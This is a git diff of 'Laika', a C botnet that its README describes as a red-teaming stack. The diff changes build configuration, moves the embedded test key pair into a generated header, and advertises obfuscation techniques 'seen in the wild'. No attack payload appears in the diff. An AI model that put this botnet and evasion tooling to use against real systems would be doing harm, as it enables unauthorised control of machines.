diff --git a/.vscode/settings.json b/.vscode/settings.json index 91f99c5..f6dbcf0 100644 --- a/.vscode/settings.json +++ b/.vscode/settings.json @@ -23,7 +23,8 @@ "variant": "cpp", "stdio.h": "c", "bit": "c", - "limits": "c" + "limits": "c", + "*.in": "cpp" }, "cSpell.words": [ "CWARN", diff --git a/README.md b/README.md index 70758c7..1bcc7a6 100644 --- a/README.md +++ b/README.md @@ -1,7 +1,32 @@ # Laika -This is a simple POC botnet written in C99. The net library shares some similarities to [FoxNet](https://github.com/CPunch/FoxNet), in fact lpolllist.c is just a port of the FoxPollList class. This botnet is also crossplatform with clients written for each platform (check the /clients folder). +Laika is a simple botnet stack for red teaming. It allows authenticated communication across a custom protocol with generated key pairs which are embedded into the executable. -## Why? +Some notable features thus far: +- Lightweight, the bot alone is 80kb and uses very little resources. +- Uses obfuscation techniques also seen in the wild (string obfuscation, tiny VMs executing sensitive operations, etc.) +- Simple configuration using CMake (setting keys, obfuscation modes, etc.) -Malware development in recent years is soooooooo boring (esp. malware written by non-nationstate actors). I wanted to prove that homebrew malware can still be interesting and fun! Obviously use this on your own machines/get permission before running etc. etc. \ No newline at end of file +## Why 'Laika'? + +During the soviet space race, [Laika](https://en.wikipedia.org/wiki/Laika) was the first dog in space; however shortly after died of asphyxiation and overheating of the shuttle. Take whatever you want from this information. + +## Configuration and compilation + +First, compile the target normally + +``` +cmake -B build && cmake --build build +``` + +Now, generate your custom key pair using `genKey` + +``` +./bin/genKey +``` + +Next, rerun cmake, but passing your public and private keypairs + +``` +rm -rf build && cmake -B build -DLAIKA_PUBKEY=997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814 -DLAIKA_PRIVKEY=1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841 && cmake --build build +``` diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c index c785d1e..29f4fc5 100644 --- a/cnc/src/cnc.c +++ b/cnc/src/cnc.c @@ -63,6 +63,7 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) { LAIKA_ERROR("LibSodium failed to initialize!\n"); } + LAIKA_DEBUG(LAIKA_PUBKEY); if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) { laikaC_freeCNC(cnc); LAIKA_ERROR("Failed to init cnc public key!\n"); diff --git a/lib/CMakeLists.txt b/lib/CMakeLists.txt index 7ba4147..d1da688 100644 --- a/lib/CMakeLists.txt +++ b/lib/CMakeLists.txt @@ -5,12 +5,24 @@ set(CMAKE_C_STANDARD_REQUIRED ON) set(LIB_INCLUDEDIR ${CMAKE_CURRENT_SOURCE_DIR}/include) +# DO NOT USE THESE KEYS, TESTING ONLY +if(NOT LAIKA_PUBKEY) + set(LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814") +endif () + +if(NOT LAIKA_PRIVKEY) +set(LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841") +endif () + # version details set(LAIKA_VERSION_MAJOR 0) set(LAIKA_VERSION_MINOR 0) project(LaikaLib VERSION ${LAIKA_VERSION_MAJOR}.${LAIKA_VERSION_MINOR}) +message(STATUS "Building config file") +configure_file(${LIB_INCLUDEDIR}/lconfig.h.in ${LIB_INCLUDEDIR}/lconfig.h) + # Put CMake targets (ALL_BUILD/ZERO_CHECK) into a folder set_property(GLOBAL PROPERTY USE_FOLDERS ON) @@ -23,7 +35,7 @@ add_library(LaikaLib STATIC ${LIBSOURCE}) target_link_libraries(LaikaLib PRIVATE ${sodium_LIBRARY_RELEASE}) # add the version definitions and the 'DEBUG' preprocessor definition if we're compiling as Debug -target_compile_definitions(LaikaLib PUBLIC LAIKA_VERSION_MAJOR=${LAIKA_VERSION_MAJOR} LAIKA_VERSION_MINOR=${LAIKA_VERSION_MINOR} "$<$:DEBUG>") +target_compile_definitions(LaikaLib PUBLIC "$<$:DEBUG>") # add include directory target_include_directories(LaikaLib PUBLIC ${LIB_INCLUDEDIR} ${sodium_INCLUDE_DIR}) diff --git a/lib/include/laika.h b/lib/include/laika.h index b82b6cb..46676ed 100644 --- a/lib/include/laika.h +++ b/lib/include/laika.h @@ -16,22 +16,6 @@ #define LAIKA_DEBUG(...) #endif -/* for intellisense */ -#ifndef LAIKA_VERSION_MAJOR -#define LAIKA_VERSION_MAJOR 0 -#endif - -#ifndef LAIKA_VERSION_MINOR -#define LAIKA_VERSION_MINOR 0 -#endif - -/* for testing!! make sure you pass your generated keypair to cmake */ -#ifndef LAIKA_PUBKEY -#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814" -#endif - -#ifndef LAIKA_PRIVKEY -#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841" -#endif +#include "lconfig.h" #endif \ No newline at end of file diff --git a/lib/include/lconfig.h b/lib/include/lconfig.h new file mode 100644 index 0000000..78f833d --- /dev/null +++ b/lib/include/lconfig.h @@ -0,0 +1,13 @@ +#ifndef LAIKA_CONFIG_H +#define LAIKA_CONFIG_H + +/* version info */ +#define LAIKA_VERSION_MAJOR 0 +#define LAIKA_VERSION_MINOR 0 + +/* keys */ +#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814" +#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841" + + +#endif diff --git a/lib/include/lconfig.h.in b/lib/include/lconfig.h.in new file mode 100644 index 0000000..0e2d095 --- /dev/null +++ b/lib/include/lconfig.h.in @@ -0,0 +1,13 @@ +#ifndef LAIKA_CONFIG_H +#define LAIKA_CONFIG_H + +/* version info */ +#define LAIKA_VERSION_MAJOR @LAIKA_VERSION_MAJOR@ +#define LAIKA_VERSION_MINOR @LAIKA_VERSION_MINOR@ + +/* keys */ +#define LAIKA_PUBKEY "@LAIKA_PUBKEY@" +#define LAIKA_PRIVKEY "@LAIKA_PRIVKEY@" + + +#endif \ No newline at end of file diff --git a/tools/genkey/src/main.c b/tools/genkey/src/main.c index 2a8a82b..5823e6a 100644 --- a/tools/genkey/src/main.c +++ b/tools/genkey/src/main.c @@ -5,7 +5,7 @@ #include "lrsa.h" #define DATA "Encryption/Decryption test passed!\n" -#define DATALEN 35 +#define DATALEN 36 #define CIPHERLEN crypto_box_SEALBYTES + DATALEN int main(int argv, char **argc) {